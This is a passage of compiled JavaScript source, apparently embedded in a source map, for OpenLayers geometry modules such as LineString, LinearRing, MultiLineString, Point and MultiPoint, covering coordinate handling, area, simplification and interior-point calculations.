plane).\n * @api\n */\n LineString.prototype.getLength = function () {\n return lineStringLength(this.flatCoordinates, 0, this.flatCoordinates.length, this.stride);\n };\n /**\n * @return {Array<number>} Flat midpoint.\n */\n LineString.prototype.getFlatMidpoint = function () {\n if (this.flatMidpointRevision_ != this.getRevision()) {\n this.flatMidpoint_ = this.getCoordinateAt(0.5, this.flatMidpoint_);\n this.flatMidpointRevision_ = this.getRevision();\n }\n return this.flatMidpoint_;\n };\n /**\n * @param {number} squaredTolerance Squared tolerance.\n * @return {LineString} Simplified LineString.\n * @protected\n */\n LineString.prototype.getSimplifiedGeometryInternal = function (squaredTolerance) {\n var simplifiedFlatCoordinates = [];\n simplifiedFlatCoordinates.length = douglasPeucker(this.flatCoordinates, 0, this.flatCoordinates.length, this.stride, squaredTolerance, simplifiedFlatCoordinates, 0);\n return new LineString(simplifiedFlatCoordinates, GeometryLayout.XY);\n };\n /**\n * Get the type of this geometry.\n * @return {import(\"./Geometry.js\").Type} Geometry type.\n * @api\n */\n LineString.prototype.getType = function () {\n return 'LineString';\n };\n /**\n * Test if the geometry and the passed extent intersect.\n * @param {import(\"../extent.js\").Extent} extent Extent.\n * @return {boolean} `true` if the geometry and the extent intersect.\n * @api\n */\n LineString.prototype.intersectsExtent = function (extent) {\n return intersectsLineString(this.flatCoordinates, 0, this.flatCoordinates.length, this.stride, extent);\n };\n /**\n * Set the coordinates of the linestring.\n * @param {!Array<import(\"../coordinate.js\").Coordinate>} coordinates Coordinates.\n * @param {import(\"./GeometryLayout.js\").default} [opt_layout] Layout.\n * @api\n */\n LineString.prototype.setCoordinates = function (coordinates, opt_layout) {\n this.setLayout(opt_layout, coordinates, 1);\n if (!this.flatCoordinates) {\n this.flatCoordinates = [];\n }\n this.flatCoordinates.length = deflateCoordinates(this.flatCoordinates, 0, coordinates, this.stride);\n this.changed();\n };\n return LineString;\n}(SimpleGeometry));\nexport default LineString;\n//# sourceMappingURL=LineString.js.map","/**\n * @module ol/geom/flat/area\n */\n/**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {number} end End.\n * @param {number} stride Stride.\n * @return {number} Area.\n */\nexport function linearRing(flatCoordinates, offset, end, stride) {\n var twiceArea = 0;\n var x1 = flatCoordinates[end - stride];\n var y1 = flatCoordinates[end - stride + 1];\n for (; offset < end; offset += stride) {\n var x2 = flatCoordinates[offset];\n var y2 = flatCoordinates[offset + 1];\n twiceArea += y1 * x2 - x1 * y2;\n x1 = x2;\n y1 = y2;\n }\n return twiceArea / 2;\n}\n/**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {Array<number>} ends Ends.\n * @param {number} stride Stride.\n * @return {number} Area.\n */\nexport function linearRings(flatCoordinates, offset, ends, stride) {\n var area = 0;\n for (var i = 0, ii = ends.length; i < ii; ++i) {\n var end = ends[i];\n area += linearRing(flatCoordinates, offset, end, stride);\n offset = end;\n }\n return area;\n}\n/**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {Array<Array<number>>} endss Endss.\n * @param {number} stride Stride.\n * @return {number} Area.\n */\nexport function linearRingss(flatCoordinates, offset, endss, stride) {\n var area = 0;\n for (var i = 0, ii = endss.length; i < ii; ++i) {\n var ends = endss[i];\n area += linearRings(flatCoordinates, offset, ends, stride);\n offset = ends[ends.length - 1];\n }\n return area;\n}\n//# sourceMappingURL=area.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/geom/LinearRing\n */\nimport GeometryLayout from './GeometryLayout.js';\nimport SimpleGeometry from './SimpleGeometry.js';\nimport { assignClosestPoint, maxSquaredDelta } from './flat/closest.js';\nimport { closestSquaredDistanceXY } from '../extent.js';\nimport { deflateCoordinates } from './flat/deflate.js';\nimport { douglasPeucker } from './flat/simplify.js';\nimport { inflateCoordinates } from './flat/inflate.js';\nimport { linearRing as linearRingArea } from './flat/area.js';\n/**\n * @classdesc\n * Linear ring geometry. Only used as part of polygon; cannot be rendered\n * on its own.\n *\n * @api\n */\nvar LinearRing = /** @class */ (function (_super) {\n __extends(LinearRing, _super);\n /**\n * @param {Array<import(\"../coordinate.js\").Coordinate>|Array<number>} coordinates Coordinates.\n * For internal use, flat coordinates in combination with `opt_layout` are also accepted.\n * @param {import(\"./GeometryLayout.js\").default} [opt_layout] Layout.\n */\n function LinearRing(coordinates, opt_layout) {\n var _this = _super.call(this) || this;\n /**\n * @private\n * @type {number}\n */\n _this.maxDelta_ = -1;\n /**\n * @private\n * @type {number}\n */\n _this.maxDeltaRevision_ = -1;\n if (opt_layout !== undefined && !Array.isArray(coordinates[0])) {\n _this.setFlatCoordinates(opt_layout, \n /** @type {Array<number>} */ (coordinates));\n }\n else {\n _this.setCoordinates(\n /** @type {Array<import(\"../coordinate.js\").Coordinate>} */ (coordinates), opt_layout);\n }\n return _this;\n }\n /**\n * Make a complete copy of the geometry.\n * @return {!LinearRing} Clone.\n * @api\n */\n LinearRing.prototype.clone = function () {\n return new LinearRing(this.flatCoordinates.slice(), this.layout);\n };\n /**\n * @param {number} x X.\n * @param {number} y Y.\n * @param {import(\"../coordinate.js\").Coordinate} closestPoint Closest point.\n * @param {number} minSquaredDistance Minimum squared distance.\n * @return {number} Minimum squared distance.\n */\n LinearRing.prototype.closestPointXY = function (x, y, closestPoint, minSquaredDistance) {\n if (minSquaredDistance < closestSquaredDistanceXY(this.getExtent(), x, y)) {\n return minSquaredDistance;\n }\n if (this.maxDeltaRevision_ != this.getRevision()) {\n this.maxDelta_ = Math.sqrt(maxSquaredDelta(this.flatCoordinates, 0, this.flatCoordinates.length, this.stride, 0));\n this.maxDeltaRevision_ = this.getRevision();\n }\n return assignClosestPoint(this.flatCoordinates, 0, this.flatCoordinates.length, this.stride, this.maxDelta_, true, x, y, closestPoint, minSquaredDistance);\n };\n /**\n * Return the area of the linear ring on projected plane.\n * @return {number} Area (on projected plane).\n * @api\n */\n LinearRing.prototype.getArea = function () {\n return linearRingArea(this.flatCoordinates, 0, this.flatCoordinates.length, this.stride);\n };\n /**\n * Return the coordinates of the linear ring.\n * @return {Array<import(\"../coordinate.js\").Coordinate>} Coordinates.\n * @api\n */\n LinearRing.prototype.getCoordinates = function () {\n return inflateCoordinates(this.flatCoordinates, 0, this.flatCoordinates.length, this.stride);\n };\n /**\n * @param {number} squaredTolerance Squared tolerance.\n * @return {LinearRing} Simplified LinearRing.\n * @protected\n */\n LinearRing.prototype.getSimplifiedGeometryInternal = function (squaredTolerance) {\n var simplifiedFlatCoordinates = [];\n simplifiedFlatCoordinates.length = douglasPeucker(this.flatCoordinates, 0, this.flatCoordinates.length, this.stride, squaredTolerance, simplifiedFlatCoordinates, 0);\n return new LinearRing(simplifiedFlatCoordinates, GeometryLayout.XY);\n };\n /**\n * Get the type of this geometry.\n * @return {import(\"./Geometry.js\").Type} Geometry type.\n * @api\n */\n LinearRing.prototype.getType = function () {\n return 'LinearRing';\n };\n /**\n * Test if the geometry and the passed extent intersect.\n * @param {import(\"../extent.js\").Extent} extent Extent.\n * @return {boolean} `true` if the geometry and the extent intersect.\n * @api\n */\n LinearRing.prototype.intersectsExtent = function (extent) {\n return false;\n };\n /**\n * Set the coordinates of the linear ring.\n * @param {!Array<import(\"../coordinate.js\").Coordinate>} coordinates Coordinates.\n * @param {import(\"./GeometryLayout.js\").default} [opt_layout] Layout.\n * @api\n */\n LinearRing.prototype.setCoordinates = function (coordinates, opt_layout) {\n this.setLayout(opt_layout, coordinates, 1);\n if (!this.flatCoordinates) {\n this.flatCoordinates = [];\n }\n this.flatCoordinates.length = deflateCoordinates(this.flatCoordinates, 0, coordinates, this.stride);\n this.changed();\n };\n return LinearRing;\n}(SimpleGeometry));\nexport default LinearRing;\n//# sourceMappingURL=LinearRing.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/geom/MultiLineString\n */\nimport GeometryLayout from './GeometryLayout.js';\nimport LineString from './LineString.js';\nimport SimpleGeometry from './SimpleGeometry.js';\nimport { arrayMaxSquaredDelta, assignClosestArrayPoint } from './flat/closest.js';\nimport { closestSquaredDistanceXY } from '../extent.js';\nimport { deflateCoordinatesArray } from './flat/deflate.js';\nimport { douglasPeuckerArray } from './flat/simplify.js';\nimport { extend } from '../array.js';\nimport { inflateCoordinatesArray } from './flat/inflate.js';\nimport { interpolatePoint, lineStringsCoordinateAtM, } from './flat/interpolate.js';\nimport { intersectsLineStringArray } from './flat/intersectsextent.js';\n/**\n * @classdesc\n * Multi-linestring geometry.\n *\n * @api\n */\nvar MultiLineString = /** @class */ (function (_super) {\n __extends(MultiLineString, _super);\n /**\n * @param {Array<Array<import(\"../coordinate.js\").Coordinate>|LineString>|Array<number>} coordinates\n * Coordinates or LineString geometries. (For internal use, flat coordinates in\n * combination with `opt_layout` and `opt_ends` are also accepted.)\n * @param {import(\"./GeometryLayout.js\").default} [opt_layout] Layout.\n * @param {Array<number>} [opt_ends] Flat coordinate ends for internal use.\n */\n function MultiLineString(coordinates, opt_layout, opt_ends) {\n var _this = _super.call(this) || this;\n /**\n * @type {Array<number>}\n * @private\n */\n _this.ends_ = [];\n /**\n * @private\n * @type {number}\n */\n _this.maxDelta_ = -1;\n /**\n * @private\n * @type {number}\n */\n _this.maxDeltaRevision_ = -1;\n if (Array.isArray(coordinates[0])) {\n _this.setCoordinates(\n /** @type {Array<Array<import(\"../coordinate.js\").Coordinate>>} */ (coordinates), opt_layout);\n }\n else if (opt_layout !== undefined && opt_ends) {\n _this.setFlatCoordinates(opt_layout, \n /** @type {Array<number>} */ (coordinates));\n _this.ends_ = opt_ends;\n }\n else {\n var layout = _this.getLayout();\n var lineStrings = /** @type {Array<LineString>} */ (coordinates);\n var flatCoordinates = [];\n var ends = [];\n for (var i = 0, ii = lineStrings.length; i < ii; ++i) {\n var lineString = lineStrings[i];\n if (i === 0) {\n layout = lineString.getLayout();\n }\n extend(flatCoordinates, lineString.getFlatCoordinates());\n ends.push(flatCoordinates.length);\n }\n _this.setFlatCoordinates(layout, flatCoordinates);\n _this.ends_ = ends;\n }\n return _this;\n }\n /**\n * Append the passed linestring to the multilinestring.\n * @param {LineString} lineString LineString.\n * @api\n */\n MultiLineString.prototype.appendLineString = function (lineString) {\n if (!this.flatCoordinates) {\n this.flatCoordinates = lineString.getFlatCoordinates().slice();\n }\n else {\n extend(this.flatCoordinates, lineString.getFlatCoordinates().slice());\n }\n this.ends_.push(this.flatCoordinates.length);\n this.changed();\n };\n /**\n * Make a complete copy of the geometry.\n * @return {!MultiLineString} Clone.\n * @api\n */\n MultiLineString.prototype.clone = function () {\n var multiLineString = new MultiLineString(this.flatCoordinates.slice(), this.layout, this.ends_.slice());\n multiLineString.applyProperties(this);\n return multiLineString;\n };\n /**\n * @param {number} x X.\n * @param {number} y Y.\n * @param {import(\"../coordinate.js\").Coordinate} closestPoint Closest point.\n * @param {number} minSquaredDistance Minimum squared distance.\n * @return {number} Minimum squared distance.\n */\n MultiLineString.prototype.closestPointXY = function (x, y, closestPoint, minSquaredDistance) {\n if (minSquaredDistance < closestSquaredDistanceXY(this.getExtent(), x, y)) {\n return minSquaredDistance;\n }\n if (this.maxDeltaRevision_ != this.getRevision()) {\n this.maxDelta_ = Math.sqrt(arrayMaxSquaredDelta(this.flatCoordinates, 0, this.ends_, this.stride, 0));\n this.maxDeltaRevision_ = this.getRevision();\n }\n return assignClosestArrayPoint(this.flatCoordinates, 0, this.ends_, this.stride, this.maxDelta_, false, x, y, closestPoint, minSquaredDistance);\n };\n /**\n * Returns the coordinate at `m` using linear interpolation, or `null` if no\n * such coordinate exists.\n *\n * `opt_extrapolate` controls extrapolation beyond the range of Ms in the\n * MultiLineString. If `opt_extrapolate` is `true` then Ms less than the first\n * M will return the first coordinate and Ms greater than the last M will\n * return the last coordinate.\n *\n * `opt_interpolate` controls interpolation between consecutive LineStrings\n * within the MultiLineString. If `opt_interpolate` is `true` the coordinates\n * will be linearly interpolated between the last coordinate of one LineString\n * and the first coordinate of the next LineString. If `opt_interpolate` is\n * `false` then the function will return `null` for Ms falling between\n * LineStrings.\n *\n * @param {number} m M.\n * @param {boolean} [opt_extrapolate] Extrapolate. Default is `false`.\n * @param {boolean} [opt_interpolate] Interpolate. Default is `false`.\n * @return {import(\"../coordinate.js\").Coordinate|null} Coordinate.\n * @api\n */\n MultiLineString.prototype.getCoordinateAtM = function (m, opt_extrapolate, opt_interpolate) {\n if ((this.layout != GeometryLayout.XYM &&\n this.layout != GeometryLayout.XYZM) ||\n this.flatCoordinates.length === 0) {\n return null;\n }\n var extrapolate = opt_extrapolate !== undefined ? opt_extrapolate : false;\n var interpolate = opt_interpolate !== undefined ? opt_interpolate : false;\n return lineStringsCoordinateAtM(this.flatCoordinates, 0, this.ends_, this.stride, m, extrapolate, interpolate);\n };\n /**\n * Return the coordinates of the multilinestring.\n * @return {Array<Array<import(\"../coordinate.js\").Coordinate>>} Coordinates.\n * @api\n */\n MultiLineString.prototype.getCoordinates = function () {\n return inflateCoordinatesArray(this.flatCoordinates, 0, this.ends_, this.stride);\n };\n /**\n * @return {Array<number>} Ends.\n */\n MultiLineString.prototype.getEnds = function () {\n return this.ends_;\n };\n /**\n * Return the linestring at the specified index.\n * @param {number} index Index.\n * @return {LineString} LineString.\n * @api\n */\n MultiLineString.prototype.getLineString = function (index) {\n if (index < 0 || this.ends_.length <= index) {\n return null;\n }\n return new LineString(this.flatCoordinates.slice(index === 0 ? 0 : this.ends_[index - 1], this.ends_[index]), this.layout);\n };\n /**\n * Return the linestrings of this multilinestring.\n * @return {Array<LineString>} LineStrings.\n * @api\n */\n MultiLineString.prototype.getLineStrings = function () {\n var flatCoordinates = this.flatCoordinates;\n var ends = this.ends_;\n var layout = this.layout;\n /** @type {Array<LineString>} */\n var lineStrings = [];\n var offset = 0;\n for (var i = 0, ii = ends.length; i < ii; ++i) {\n var end = ends[i];\n var lineString = new LineString(flatCoordinates.slice(offset, end), layout);\n lineStrings.push(lineString);\n offset = end;\n }\n return lineStrings;\n };\n /**\n * @return {Array<number>} Flat midpoints.\n */\n MultiLineString.prototype.getFlatMidpoints = function () {\n var midpoints = [];\n var flatCoordinates = this.flatCoordinates;\n var offset = 0;\n var ends = this.ends_;\n var stride = this.stride;\n for (var i = 0, ii = ends.length; i < ii; ++i) {\n var end = ends[i];\n var midpoint = interpolatePoint(flatCoordinates, offset, end, stride, 0.5);\n extend(midpoints, midpoint);\n offset = end;\n }\n return midpoints;\n };\n /**\n * @param {number} squaredTolerance Squared tolerance.\n * @return {MultiLineString} Simplified MultiLineString.\n * @protected\n */\n MultiLineString.prototype.getSimplifiedGeometryInternal = function (squaredTolerance) {\n var simplifiedFlatCoordinates = [];\n var simplifiedEnds = [];\n simplifiedFlatCoordinates.length = douglasPeuckerArray(this.flatCoordinates, 0, this.ends_, this.stride, squaredTolerance, simplifiedFlatCoordinates, 0, simplifiedEnds);\n return new MultiLineString(simplifiedFlatCoordinates, GeometryLayout.XY, simplifiedEnds);\n };\n /**\n * Get the type of this geometry.\n * @return {import(\"./Geometry.js\").Type} Geometry type.\n * @api\n */\n MultiLineString.prototype.getType = function () {\n return 'MultiLineString';\n };\n /**\n * Test if the geometry and the passed extent intersect.\n * @param {import(\"../extent.js\").Extent} extent Extent.\n * @return {boolean} `true` if the geometry and the extent intersect.\n * @api\n */\n MultiLineString.prototype.intersectsExtent = function (extent) {\n return intersectsLineStringArray(this.flatCoordinates, 0, this.ends_, this.stride, extent);\n };\n /**\n * Set the coordinates of the multilinestring.\n * @param {!Array<Array<import(\"../coordinate.js\").Coordinate>>} coordinates Coordinates.\n * @param {GeometryLayout} [opt_layout] Layout.\n * @api\n */\n MultiLineString.prototype.setCoordinates = function (coordinates, opt_layout) {\n this.setLayout(opt_layout, coordinates, 2);\n if (!this.flatCoordinates) {\n this.flatCoordinates = [];\n }\n var ends = deflateCoordinatesArray(this.flatCoordinates, 0, coordinates, this.stride, this.ends_);\n this.flatCoordinates.length = ends.length === 0 ? 0 : ends[ends.length - 1];\n this.changed();\n };\n return MultiLineString;\n}(SimpleGeometry));\nexport default MultiLineString;\n//# sourceMappingURL=MultiLineString.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/geom/Point\n */\nimport SimpleGeometry from './SimpleGeometry.js';\nimport { containsXY, createOrUpdateFromCoordinate } from '../extent.js';\nimport { deflateCoordinate } from './flat/deflate.js';\nimport { squaredDistance as squaredDx } from '../math.js';\n/**\n * @classdesc\n * Point geometry.\n *\n * @api\n */\nvar Point = /** @class */ (function (_super) {\n __extends(Point, _super);\n /**\n * @param {import(\"../coordinate.js\").Coordinate} coordinates Coordinates.\n * @param {import(\"./GeometryLayout.js\").default} [opt_layout] Layout.\n */\n function Point(coordinates, opt_layout) {\n var _this = _super.call(this) || this;\n _this.setCoordinates(coordinates, opt_layout);\n return _this;\n }\n /**\n * Make a complete copy of the geometry.\n * @return {!Point} Clone.\n * @api\n */\n Point.prototype.clone = function () {\n var point = new Point(this.flatCoordinates.slice(), this.layout);\n point.applyProperties(this);\n return point;\n };\n /**\n * @param {number} x X.\n * @param {number} y Y.\n * @param {import(\"../coordinate.js\").Coordinate} closestPoint Closest point.\n * @param {number} minSquaredDistance Minimum squared distance.\n * @return {number} Minimum squared distance.\n */\n Point.prototype.closestPointXY = function (x, y, closestPoint, minSquaredDistance) {\n var flatCoordinates = this.flatCoordinates;\n var squaredDistance = squaredDx(x, y, flatCoordinates[0], flatCoordinates[1]);\n if (squaredDistance < minSquaredDistance) {\n var stride = this.stride;\n for (var i = 0; i < stride; ++i) {\n closestPoint[i] = flatCoordinates[i];\n }\n closestPoint.length = stride;\n return squaredDistance;\n }\n else {\n return minSquaredDistance;\n }\n };\n /**\n * Return the coordinate of the point.\n * @return {import(\"../coordinate.js\").Coordinate} Coordinates.\n * @api\n */\n Point.prototype.getCoordinates = function () {\n return !this.flatCoordinates ? [] : this.flatCoordinates.slice();\n };\n /**\n * @param {import(\"../extent.js\").Extent} extent Extent.\n * @protected\n * @return {import(\"../extent.js\").Extent} extent Extent.\n */\n Point.prototype.computeExtent = function (extent) {\n return createOrUpdateFromCoordinate(this.flatCoordinates, extent);\n };\n /**\n * Get the type of this geometry.\n * @return {import(\"./Geometry.js\").Type} Geometry type.\n * @api\n */\n Point.prototype.getType = function () {\n return 'Point';\n };\n /**\n * Test if the geometry and the passed extent intersect.\n * @param {import(\"../extent.js\").Extent} extent Extent.\n * @return {boolean} `true` if the geometry and the extent intersect.\n * @api\n */\n Point.prototype.intersectsExtent = function (extent) {\n return containsXY(extent, this.flatCoordinates[0], this.flatCoordinates[1]);\n };\n /**\n * @param {!Array<*>} coordinates Coordinates.\n * @param {import(\"./GeometryLayout.js\").default} [opt_layout] Layout.\n * @api\n */\n Point.prototype.setCoordinates = function (coordinates, opt_layout) {\n this.setLayout(opt_layout, coordinates, 0);\n if (!this.flatCoordinates) {\n this.flatCoordinates = [];\n }\n this.flatCoordinates.length = deflateCoordinate(this.flatCoordinates, 0, coordinates, this.stride);\n this.changed();\n };\n return Point;\n}(SimpleGeometry));\nexport default Point;\n//# sourceMappingURL=Point.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/geom/MultiPoint\n */\nimport Point from './Point.js';\nimport SimpleGeometry from './SimpleGeometry.js';\nimport { closestSquaredDistanceXY, containsXY } from '../extent.js';\nimport { deflateCoordinates } from './flat/deflate.js';\nimport { extend } from '../array.js';\nimport { inflateCoordinates } from './flat/inflate.js';\nimport { squaredDistance as squaredDx } from '../math.js';\n/**\n * @classdesc\n * Multi-point geometry.\n *\n * @api\n */\nvar MultiPoint = /** @class */ (function (_super) {\n __extends(MultiPoint, _super);\n /**\n * @param {Array<import(\"../coordinate.js\").Coordinate>|Array<number>} coordinates Coordinates.\n * For internal use, flat coordinates in combination with `opt_layout` are also accepted.\n * @param {import(\"./GeometryLayout.js\").default} [opt_layout] Layout.\n */\n function MultiPoint(coordinates, opt_layout) {\n var _this = _super.call(this) || this;\n if (opt_layout && !Array.isArray(coordinates[0])) {\n _this.setFlatCoordinates(opt_layout, \n /** @type {Array<number>} */ (coordinates));\n }\n else {\n _this.setCoordinates(\n /** @type {Array<import(\"../coordinate.js\").Coordinate>} */ (coordinates), opt_layout);\n }\n return _this;\n }\n /**\n * Append the passed point to this multipoint.\n * @param {Point} point Point.\n * @api\n */\n MultiPoint.prototype.appendPoint = function (point) {\n if (!this.flatCoordinates) {\n this.flatCoordinates = point.getFlatCoordinates().slice();\n }\n else {\n extend(this.flatCoordinates, point.getFlatCoordinates());\n }\n this.changed();\n };\n /**\n * Make a complete copy of the geometry.\n * @return {!MultiPoint} Clone.\n * @api\n */\n MultiPoint.prototype.clone = function () {\n var multiPoint = new MultiPoint(this.flatCoordinates.slice(), this.layout);\n multiPoint.applyProperties(this);\n return multiPoint;\n };\n /**\n * @param {number} x X.\n * @param {number} y Y.\n * @param {import(\"../coordinate.js\").Coordinate} closestPoint Closest point.\n * @param {number} minSquaredDistance Minimum squared distance.\n * @return {number} Minimum squared distance.\n */\n MultiPoint.prototype.closestPointXY = function (x, y, closestPoint, minSquaredDistance) {\n if (minSquaredDistance < closestSquaredDistanceXY(this.getExtent(), x, y)) {\n return minSquaredDistance;\n }\n var flatCoordinates = this.flatCoordinates;\n var stride = this.stride;\n for (var i = 0, ii = flatCoordinates.length; i < ii; i += stride) {\n var squaredDistance = squaredDx(x, y, flatCoordinates[i], flatCoordinates[i + 1]);\n if (squaredDistance < minSquaredDistance) {\n minSquaredDistance = squaredDistance;\n for (var j = 0; j < stride; ++j) {\n closestPoint[j] = flatCoordinates[i + j];\n }\n closestPoint.length = stride;\n }\n }\n return minSquaredDistance;\n };\n /**\n * Return the coordinates of the multipoint.\n * @return {Array<import(\"../coordinate.js\").Coordinate>} Coordinates.\n * @api\n */\n MultiPoint.prototype.getCoordinates = function () {\n return inflateCoordinates(this.flatCoordinates, 0, this.flatCoordinates.length, this.stride);\n };\n /**\n * Return the point at the specified index.\n * @param {number} index Index.\n * @return {Point} Point.\n * @api\n */\n MultiPoint.prototype.getPoint = function (index) {\n var n = !this.flatCoordinates\n ? 0\n : this.flatCoordinates.length / this.stride;\n if (index < 0 || n <= index) {\n return null;\n }\n return new Point(this.flatCoordinates.slice(index * this.stride, (index + 1) * this.stride), this.layout);\n };\n /**\n * Return the points of this multipoint.\n * @return {Array<Point>} Points.\n * @api\n */\n MultiPoint.prototype.getPoints = function () {\n var flatCoordinates = this.flatCoordinates;\n var layout = this.layout;\n var stride = this.stride;\n /** @type {Array<Point>} */\n var points = [];\n for (var i = 0, ii = flatCoordinates.length; i < ii; i += stride) {\n var point = new Point(flatCoordinates.slice(i, i + stride), layout);\n points.push(point);\n }\n return points;\n };\n /**\n * Get the type of this geometry.\n * @return {import(\"./Geometry.js\").Type} Geometry type.\n * @api\n */\n MultiPoint.prototype.getType = function () {\n return 'MultiPoint';\n };\n /**\n * Test if the geometry and the passed extent intersect.\n * @param {import(\"../extent.js\").Extent} extent Extent.\n * @return {boolean} `true` if the geometry and the extent intersect.\n * @api\n */\n MultiPoint.prototype.intersectsExtent = function (extent) {\n var flatCoordinates = this.flatCoordinates;\n var stride = this.stride;\n for (var i = 0, ii = flatCoordinates.length; i < ii; i += stride) {\n var x = flatCoordinates[i];\n var y = flatCoordinates[i + 1];\n if (containsXY(extent, x, y)) {\n return true;\n }\n }\n return false;\n };\n /**\n * Set the coordinates of the multipoint.\n * @param {!Array<import(\"../coordinate.js\").Coordinate>} coordinates Coordinates.\n * @param {import(\"./GeometryLayout.js\").default} [opt_layout] Layout.\n * @api\n */\n MultiPoint.prototype.setCoordinates = function (coordinates, opt_layout) {\n this.setLayout(opt_layout, coordinates, 1);\n if (!this.flatCoordinates) {\n this.flatCoordinates = [];\n }\n this.flatCoordinates.length = deflateCoordinates(this.flatCoordinates, 0, coordinates, this.stride);\n this.changed();\n };\n return MultiPoint;\n}(SimpleGeometry));\nexport default MultiPoint;\n//# sourceMappingURL=MultiPoint.js.map","/**\n * @module ol/geom/flat/interiorpoint\n */\nimport { linearRingsContainsXY } from './contains.js';\nimport { numberSafeCompareFunction } from '../../array.js';\n/**\n * Calculates a point that is likely to lie in the interior of the linear rings.\n * Inspired by JTS's com.vividsolutions.jts.geom.Geometry#getInteriorPoint.\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {Array<number>} ends Ends.\n * @param {number} stride Stride.\n * @param {Array<number>} flatCenters Flat centers.\n * @param {number} flatCentersOffset Flat center offset.\n * @param {Array<number>} [opt_dest] Destination.\n * @return {Array<number>} Destination point as XYM coordinate, where M is the\n * length of the horizontal intersection that the point belongs to.\n */\nexport function getInteriorPointOfArray(flatCoordinates, offset, ends, stride, flatCenters, flatCentersOffset, opt_dest) {\n var i, ii, x, x1, x2, y1, y2;\n var y = flatCenters[flatCentersOffset + 1];\n /** @type {Array<number>} */\n var intersections = [];\n // Calculate intersections with the horizontal line\n for (var r = 0, rr = ends.length; r < rr; ++r) {\n var end = ends[r];\n x1 = flatCoordinates[end - stride];\n y1 = flatCoordinates[end - stride + 1];\n for (i = offset; i < end; i += stride) {\n x2 = flatCoordinates[i];\n y2 = flatCoordinates[i + 1];\n if ((y <= y1 && y2 <= y) || (y1 <= y && y <= y2)) {\n x = ((y - y1) / (y2 - y1)) * (x2 - x1) + x1;\n intersections.push(x);\n }\n x1 = x2;\n y1 = y2;\n }\n }\n // Find the longest segment of the horizontal line that has its center point\n // inside the linear ring.\n var pointX = NaN;\n var maxSegmentLength = -Infinity;\n intersections.sort(numberSafeCompareFunction);\n x1 = intersections[0];\n for (i = 1, ii = intersections.length; i < ii; ++i) {\n x2 = intersections[i];\n var segmentLength = Math.abs(x2 - x1);\n if (segmentLength > maxSegmentLength) {\n x = (x1 + x2) / 2;\n if (linearRingsContainsXY(flatCoordinates, offset, ends, stride, x, y)) {\n pointX = x;\n maxSegmentLength = segmentLength;\n }\n }\n x1 = x2;\n }\n if (isNaN(pointX)) {\n // There is no horizontal line that has its center point inside the linear\n // ring. Use the center of the the linear ring's extent.\n pointX = flatCenters[flatCentersOffset];\n }\n if (opt_dest) {\n opt_dest.push(pointX, y, maxSegmentLength);\n return opt_dest;\n }\n else {\n return [pointX, y, maxSegmentLength];\n }\n}\n/**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {Array<Array<number>>} endss Endss.\n * @param {number} stride Stride.\n * @param {Array<number>} flatCenters Flat centers.\n * @return {Array<number>} Interior points as XYM coordinates, where M is the\n * length of the horizontal intersection that the point belongs to.\n */\nexport function getInteriorPointsOfMultiArray(flatCoordinates, offset, endss, stride, flatCenters) {\n var interiorPoints = [];\n for (var i = 0, ii = endss.length; i < ii; ++i) {\n var ends = endss[i];\n interiorPoints = getInteriorPointOfArray(flatCoordinates, offset, ends, stride, flatCenters, 2 * i, interiorPoints);\n offset = ends[ends.length - 1];\n }\n return interiorPoints;\n}\n//# sourceMappingURL=interiorpoint.js.map","/**\n * @module ol/geom/flat/reverse\n */\n/**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {number} end End.\n * @param {number} stride Stride.\n */\nexport function coordinates(flatCoordinates, offset, end, stride) {\n while (offset < end - stride) {\n for (var i = 0; i < stride; ++i) {\n var tmp = flatCoordinates[offset + i];\n flatCoordinates[offset + i] = flatCoordinates[end 